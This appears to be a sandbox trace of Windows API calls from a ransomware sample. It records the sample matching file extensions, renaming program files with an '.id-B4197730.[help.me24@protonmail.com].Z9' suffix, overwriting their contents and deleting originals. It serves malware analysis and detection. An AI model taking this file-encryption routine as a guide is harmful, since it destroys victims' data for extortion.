	[0189.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60
	[0189.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60
	[0189.285] lstrlenW (lpString=".doc") returned 4
	[0189.285] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.285] lstrlenW (lpString=".docx") returned 5
	[0189.286] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0189.286] lstrlenW (lpString=".pdf") returned 4
	[0189.286] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.286] lstrlenW (lpString=".xls") returned 4
	[0189.286] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.286] lstrlenW (lpString=".xlsx") returned 5
	[0189.286] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0189.286] lstrlenW (lpString=".ppt") returned 4
	[0189.286] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60
	[0189.286] lstrlenW (lpString=".zip") returned 4
	[0189.286] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.286] lstrlenW (lpString=".rar") returned 4
	[0189.286] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.286] lstrlenW (lpString=".bz2") returned 4
	[0189.286] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.286] lstrlenW (lpString=".7z") returned 3
	[0189.286] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60
	[0189.286] lstrlenW (lpString=".dbf") returned 4
	[0189.286] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60
	[0189.286] lstrlenW (lpString=".1cd") returned 4
	[0189.286] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60
	[0189.286] lstrlenW (lpString=".jpg") returned 4
	[0189.286] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60
	[0189.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60
	[0189.286] lstrlenW (lpString=".doc") returned 4
	[0189.286] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.286] lstrlenW (lpString=".docx") returned 5
	[0189.286] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0189.286] lstrlenW (lpString=".pdf") returned 4
	[0189.286] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.287] lstrlenW (lpString=".xls") returned 4
	[0189.287] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.287] lstrlenW (lpString=".xlsx") returned 5
	[0189.287] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0189.287] lstrlenW (lpString=".ppt") returned 4
	[0189.287] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60
	[0189.287] lstrlenW (lpString=".zip") returned 4
	[0189.287] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.287] lstrlenW (lpString=".rar") returned 4
	[0189.287] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.287] lstrlenW (lpString=".bz2") returned 4
	[0189.287] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.287] lstrlenW (lpString=".7z") returned 3
	[0189.287] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60
	[0189.287] lstrlenW (lpString=".dbf") returned 4
	[0189.287] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60
	[0189.287] lstrlenW (lpString=".1cd") returned 4
	[0189.287] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60
	[0189.287] lstrlenW (lpString=".jpg") returned 4
	[0189.287] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.287] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.287] lstrlenW (lpString="mshwgst.dll") returned 11
	[0189.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.288] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=51200) returned 1
	[0189.288] CloseHandle (hObject=0x35c) returned 1
	[0189.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20
	[0189.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62
	[0189.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62
	[0189.602] lstrlenW (lpString=".doc") returned 4
	[0189.602] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.602] lstrlenW (lpString=".docx") returned 5
	[0189.602] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0189.602] lstrlenW (lpString=".pdf") returned 4
	[0189.602] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.602] lstrlenW (lpString=".xls") returned 4
	[0189.602] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.602] lstrlenW (lpString=".xlsx") returned 5
	[0189.602] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0189.602] lstrlenW (lpString=".ppt") returned 4
	[0189.602] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62
	[0189.602] lstrlenW (lpString=".zip") returned 4
	[0189.602] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.602] lstrlenW (lpString=".rar") returned 4
	[0189.602] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.602] lstrlenW (lpString=".bz2") returned 4
	[0189.602] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.602] lstrlenW (lpString=".7z") returned 3
	[0189.602] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62
	[0189.603] lstrlenW (lpString=".dbf") returned 4
	[0189.603] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62
	[0189.603] lstrlenW (lpString=".1cd") returned 4
	[0189.603] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62
	[0189.603] lstrlenW (lpString=".jpg") returned 4
	[0189.603] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62
	[0189.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62
	[0189.603] lstrlenW (lpString=".doc") returned 4
	[0189.603] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.603] lstrlenW (lpString=".docx") returned 5
	[0189.603] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0189.603] lstrlenW (lpString=".pdf") returned 4
	[0189.603] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.603] lstrlenW (lpString=".xls") returned 4
	[0189.603] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.603] lstrlenW (lpString=".xlsx") returned 5
	[0189.603] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0189.604] lstrlenW (lpString=".ppt") returned 4
	[0189.604] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62
	[0189.604] lstrlenW (lpString=".zip") returned 4
	[0189.604] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.604] lstrlenW (lpString=".rar") returned 4
	[0189.604] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.604] lstrlenW (lpString=".bz2") returned 4
	[0189.604] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.604] lstrlenW (lpString=".7z") returned 3
	[0189.604] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62
	[0189.606] lstrlenW (lpString=".dbf") returned 4
	[0189.606] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62
	[0189.606] lstrlenW (lpString=".1cd") returned 4
	[0189.606] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62
	[0189.606] lstrlenW (lpString=".jpg") returned 4
	[0189.606] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.606] Sleep (dwMilliseconds=0x64) 
	[0189.879] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.879] lstrlenW (lpString="msadce.dll") returned 10
	[0189.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0189.880] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=695296) returned 1
	[0189.880] CloseHandle (hObject=0x338) returned 1
	[0189.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20
	[0189.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned 53
	[0189.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned 53
	[0189.880] lstrlenW (lpString=".doc") returned 4
	[0189.880] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.880] lstrlenW (lpString=".docx") returned 5
	[0189.880] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0189.880] lstrlenW (lpString=".pdf") returned 4
	[0189.880] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.880] lstrlenW (lpString=".xls") returned 4
	[0189.880] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.880] lstrlenW (lpString=".xlsx") returned 5
	[0189.880] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0189.881] lstrlenW (lpString=".ppt") returned 4
	[0189.881] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned 53
	[0189.881] lstrlenW (lpString=".zip") returned 4
	[0189.881] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.881] lstrlenW (lpString=".rar") returned 4
	[0189.881] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.881] lstrlenW (lpString=".bz2") returned 4
	[0189.881] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.881] lstrlenW (lpString=".7z") returned 3
	[0189.881] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned 53
	[0189.881] lstrlenW (lpString=".dbf") returned 4
	[0189.881] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned 53
	[0189.881] lstrlenW (lpString=".1cd") returned 4
	[0189.881] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned 53
	[0189.881] lstrlenW (lpString=".jpg") returned 4
	[0189.881] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned 53
	[0189.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned 53
	[0189.881] lstrlenW (lpString=".doc") returned 4
	[0189.881] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.881] lstrlenW (lpString=".docx") returned 5
	[0189.889] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.889] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.889] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\afr38.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\internet explorer\\afr38.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0189.890] GetLastError () returned 0x0
	[0189.890] ReadFile (in: hFile=0x338, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x13200, lpOverlapped=0x0) returned 1
	[0189.909] WriteFile (in: hFile=0x33c, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x13210, lpOverlapped=0x0) returned 1
	[0190.084] ReadFile (in: hFile=0x338, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.084] WriteFile (in: hFile=0x33c, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0xe6, lpOverlapped=0x0) returned 1
	[0190.085] SetEndOfFile (hFile=0x33c) returned 1
	[0190.085] CloseHandle (hObject=0x33c) returned 1
	[0190.085] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.085] SetEndOfFile (hFile=0x338) returned 1
	[0190.086] CloseHandle (hObject=0x338) returned 1
	[0190.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\afr38.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0190.230] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\afr38.exe" (normalized: "c:\\program files\\internet explorer\\afr38.exe")) returned 1
	[0190.231] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\afr38.exe") returned 44
	[0190.231] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\afr38.exe") returned 44
	[0190.231] lstrlenW (lpString=".doc") returned 4
	[0190.231] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0190.231] lstrlenW (lpString=".docx") returned 5
	[0190.232] lstrcmpiW (lpString1=".docx", lpString2="8.exe") returned -1
	[0190.232] lstrlenW (lpString=".pdf") returned 4
	[0190.232] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0190.232] lstrlenW (lpString=".xls") returned 4
	[0190.232] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0190.232] lstrlenW (lpString=".xlsx") returned 5
	[0190.232] lstrcmpiW (lpString1=".xlsx", lpString2="8.exe") returned -1
	[0190.232] lstrlenW (lpString=".ppt") returned 4
	[0190.232] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0190.232] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\afr38.exe") returned 44
	[0190.232] lstrlenW (lpString=".zip") returned 4
	[0190.232] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0190.232] lstrlenW (lpString=".rar") returned 4
	[0190.232] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0190.232] lstrlenW (lpString=".bz2") returned 4
	[0190.232] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0190.232] lstrlenW (lpString=".7z") returned 3
	[0190.232] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0190.232] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\afr38.exe") returned 44
	[0190.232] lstrlenW (lpString=".dbf") returned 4
	[0190.232] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0190.232] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\afr38.exe") returned 44
	[0190.232] lstrlenW (lpString=".1cd") returned 4
	[0190.232] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0190.232] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\afr38.exe") returned 44
	[0190.232] lstrlenW (lpString=".jpg") returned 4
	[0190.232] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0190.232] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\afr38.exe") returned 44
	[0190.232] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\afr38.exe") returned 44
	[0190.232] lstrlenW (lpString=".doc") returned 4
	[0190.232] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0190.232] lstrlenW (lpString=".docx") returned 5
	[0190.232] lstrcmpiW (lpString1=".docx", lpString2="8.exe") returned -1
	[0190.232] lstrlenW (lpString=".pdf") returned 4
	[0190.232] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0190.233] lstrlenW (lpString=".xls") returned 4
	[0190.233] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0190.233] lstrlenW (lpString=".xlsx") returned 5
	[0190.233] lstrcmpiW (lpString1=".xlsx", lpString2="8.exe") returned -1
	[0190.233] lstrlenW (lpString=".ppt") returned 4
	[0190.233] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0190.233] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\afr38.exe") returned 44
	[0190.233] lstrlenW (lpString=".zip") returned 4
	[0190.233] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0190.233] lstrlenW (lpString=".rar") returned 4
	[0190.233] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0190.233] lstrlenW (lpString=".bz2") returned 4
	[0190.233] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0190.233] lstrlenW (lpString=".7z") returned 3
	[0190.233] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0190.233] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\afr38.exe") returned 44
	[0190.233] lstrlenW (lpString=".dbf") returned 4
	[0190.233] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0190.233] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\afr38.exe") returned 44
	[0190.233] lstrlenW (lpString=".1cd") returned 4
	[0190.233] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0190.233] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\afr38.exe") returned 44
	[0190.233] lstrlenW (lpString=".jpg") returned 4
	[0190.233] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0190.233] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0190.233] lstrlenW (lpString="nashorn.jar") returned 11
	[0190.233] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0190.236] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=2022734) returned 1
	[0190.236] CloseHandle (hObject=0x36c) returned 1
	[0190.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20
	[0190.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.236] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0190.237] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0190.237] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efc64 | out: lpNewFilePointer=0x0) returned 1
	[0190.237] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efc24 | out: lpNewFilePointer=0x0) returned 1
	[0190.237] ReadFile (in: hFile=0x36c, lpBuffer=0x3b42058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30efc30, lpOverlapped=0x0 | out: lpBuffer=0x3b42058*, lpNumberOfBytesRead=0x30efc30*=0x40000, lpOverlapped=0x0) returned 1
	[0190.289] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xa49c4, lpNewFilePointer=0x0, dwMoveMethod=0x30efc24 | out: lpNewFilePointer=0x0) returned 1
	[0190.289] ReadFile (in: hFile=0x36c, lpBuffer=0x3b82058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30efc30, lpOverlapped=0x0 | out: lpBuffer=0x3b82058*, lpNumberOfBytesRead=0x30efc30*=0x40000, lpOverlapped=0x0) returned 1
	[0190.298] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30efc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0190.298] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x1add4e, lpNewFilePointer=0x0, dwMoveMethod=0x30efc24 | out: lpNewFilePointer=0x0) returned 1
	[0190.298] ReadFile (in: hFile=0x36c, lpBuffer=0x3bc2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30efc30, lpOverlapped=0x0 | out: lpBuffer=0x3bc2058*, lpNumberOfBytesRead=0x30efc30*=0x40000, lpOverlapped=0x0) returned 1
	[0190.320] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.320] WriteFile (in: hFile=0x36c, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x30efca8, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efca8*=0xc0102, lpOverlapped=0x0) returned 1
	[0190.965] SetEndOfFile (hFile=0x36c) returned 1
	[0191.572] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40000) returned 0x40f9900
	[0191.573] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efc74 | out: lpNewFilePointer=0x0) returned 1
	[0191.573] WriteFile (in: hFile=0x36c, lpBuffer=0x40f9900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30efc80, lpOverlapped=0x0 | out: lpBuffer=0x40f9900*, lpNumberOfBytesWritten=0x30efc80*=0x40000, lpOverlapped=0x0) returned 1
	[0191.575] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xa49c4, lpNewFilePointer=0x0, dwMoveMethod=0x30efc74 | out: lpNewFilePointer=0x0) returned 1
	[0191.575] WriteFile (in: hFile=0x36c, lpBuffer=0x40f9900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30efc80, lpOverlapped=0x0 | out: lpBuffer=0x40f9900*, lpNumberOfBytesWritten=0x30efc80*=0x40000, lpOverlapped=0x0) returned 1
	[0191.577] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x1add4e, lpNewFilePointer=0x0, dwMoveMethod=0x30efc74 | out: lpNewFilePointer=0x0) returned 1
	[0191.577] WriteFile (in: hFile=0x36c, lpBuffer=0x40f9900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30efc80, lpOverlapped=0x0 | out: lpBuffer=0x40f9900*, lpNumberOfBytesWritten=0x30efc80*=0x40000, lpOverlapped=0x0) returned 1
	[0191.580] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40f9900 | out: hHeap=0x750000) returned 1
	[0191.582] CloseHandle (hObject=0x36c) returned 1
